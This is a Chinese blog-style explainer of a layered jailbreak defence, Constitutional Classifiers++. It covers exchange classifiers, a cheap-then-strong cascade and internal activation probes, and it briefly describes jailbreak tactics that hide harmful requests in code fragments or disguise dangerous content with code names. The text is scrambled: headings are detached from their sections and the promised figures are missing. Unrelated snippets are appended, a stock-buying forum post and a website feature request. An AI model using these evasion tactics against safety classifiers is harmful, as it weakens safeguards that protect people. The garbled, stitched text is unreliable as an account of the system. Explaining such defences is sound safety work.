这类高难度基准的表现会明显下滑,而且不同越狱方式导致的下降幅度不一样——这意味着攻击者可能继续迭代出“既能越狱,又不太伤模型能力”的新套路。 一句话:攻方还在升级,防方不能只靠“更严的拒绝”。 这次的最大思路变化有两个。 第一代的一个软肋是:输入和输出分开评估时,缺少“上下文关联”。 于是他们做了一个 exchange classifier:同时看输入+输出这一整个“交换(exchange)”,让判断基于上下文关联。 为了不把所有请求都拉去做重型检查,他们搞了一个两阶段系统: 这设计很聪明:第一阶段可以容忍更高的误报,因为它不是直接拒绝用户,而是“升级处理”——类似:基层客服觉得你这事儿有点敏感,先转交主管复核,不是当场把你轰出门。 结果就是:既便宜,又不那么容易误拒绝。 真正让成本降到 ~1% 的关键,是他们引入了 internal probe classifiers(内部探针分类器)。 简单理解:模型在生成文本时,会产生大量内部状态(激活)。当它遇到可疑请求时,内部往往已经出现类似“这不太对劲”的信号——就像人类的直觉先抖一下,嘴上还没说“我拒绝”。 他们做的事是:直接探测这些内部激活模式,用一个线性探针快速判断“这事儿像不像有害”。因为这些计算本来就发生在模型里,所以额外成本非常低,近似“顺手摸一下脉搏”。 更妙的是:内部探针和外部分类器是互补的——外部看文本表面,内部看模型“心里怎么想”。攻击者可以花式包装文字,但要精准操控内部表征,难度更高。 最终的生产级组合拳是: 文中给了几个很关键的数字(别眨眼): 翻译成人话就是:比上一代更能打、更少误伤,还几乎不怎么贵。 很多人理解的大模型安全,是一句话:“不该答的别答。” 而这篇文章的价值就在于:它把“安全”从一个单点模块,升级成了一个可迭代、可度量、成本可控的系统工程。 真正的进步,是“更安全”不再等于“更难用”✅ 大模型越强,越狱也会越狡猾,这是逃不掉的“军备竞赛”。但用户也不可能接受一个动不动就拒绝、体验像铁门的 AI。 Constitutional Classifiers++ 的思路很现实: 这就像把安检从“见人就盘问”升级成“先过门检,再抽检复核,重点人群再上人工”。不光更安全,还更不烦人。 接下来更值得期待的是他们提到的方向:把分类器信号更深地融合进生成过程、用自动化红队持续产出训练数据、在灰区边界上做更精准的“允许/拒绝”判定。 喜欢就奖励一个“👍”和“在看”呗~
1)先复习一下:什么是“宪法分类器”?为什么不是简单的敏感词过滤?
但越狱最擅长的就是“绕开关键词”,比如换称呼、打哑谜、拆成几段,甚至让模型自己把隐含信息拼回去。
(这点很关键:不是“化学一律不许聊”,而是“允许的学术内容”和“不可协助的危险路径”要分得更细。)2)第一代的“代价账单”:更贵 + 更容易误拒绝
也就是说:贵了、凶了,但仍然不是“绝对无敌”。3)越狱在进化:两类新打法,把“只看输出”的护栏骗得团团转
A. Reconstruction(重构攻击)
比如把恶意请求藏在一堆函数、注释、配置片段里,指令却装得像“帮忙整理代码”。B. Output obfuscation(输出混淆攻击)
例如把危险化学品换成“食用香精”的代称,或者用隐喻、谜语、映射,把有害概念伪装成无害概念。
如果分类器只盯着输出文本,很容易被糊弄过去。4)核心升级:从“单向检查”到“看完整对话”,再到“两段式升级打怪”
4.1 用“Exchange classifier”替代“输入/输出分开看”
但很多越狱恰恰是靠“输入里埋暗号,输出里用暗号回应”,单看任何一边都很无害,一拼在一起就很危险。
在人类红队测试里,这能把越狱成功率再砍半——但代价是算力增加 50%。
(看到这里很多人会皱眉:这不又回到“安全靠烧钱”了吗?别急,后面才是重点。)4.2 级联(cascade)架构:先便宜筛一遍,再把“可疑的”交给更强的判官
5)最“黑科技”的部分:用模型内部激活做探针(probe),几乎“白嫖算力”
6)结果有多夸张?更低误拒 + 更低攻击成功率 + 成本只加 1%
这意味着:用户正常问问题,被“误伤”的概率更低了。
这才是“能上生产”的味道,不是实验室爽文。7)对行业意味着什么?安全不再只是“拒绝按钮”,而是“分层防御体系”
但真正的工程化安全更像现代风控:结语
让大多数请求轻装通过,让少数可疑请求重装审查;既看你说了什么,也看模型内部觉得你想干什么。
毕竟安全这事儿没有终点,只有“今天比昨天更不容易被玩坏”😄
观旁边那个每个月买小米股票的帖子有感。
作为谨慎的普通人,用现在的价格买入 1w 股长江电力,然后每年分红复投,只买不卖,长期持有。
是不是更适合普通人?比如拉长时间,看 10 年、15 年、20 年之后。

当停留在消息中心时来消息,个人信息会显示 X 条未读消息,但是点击不会刷新,只能刷新当前页面或者返回首页再进消息中心,建议加上刷新按钮或者在消息中心的时候点击消息超链接就重载当前页面(就像在首页的时候点击首页 logo 会重载页面一样)。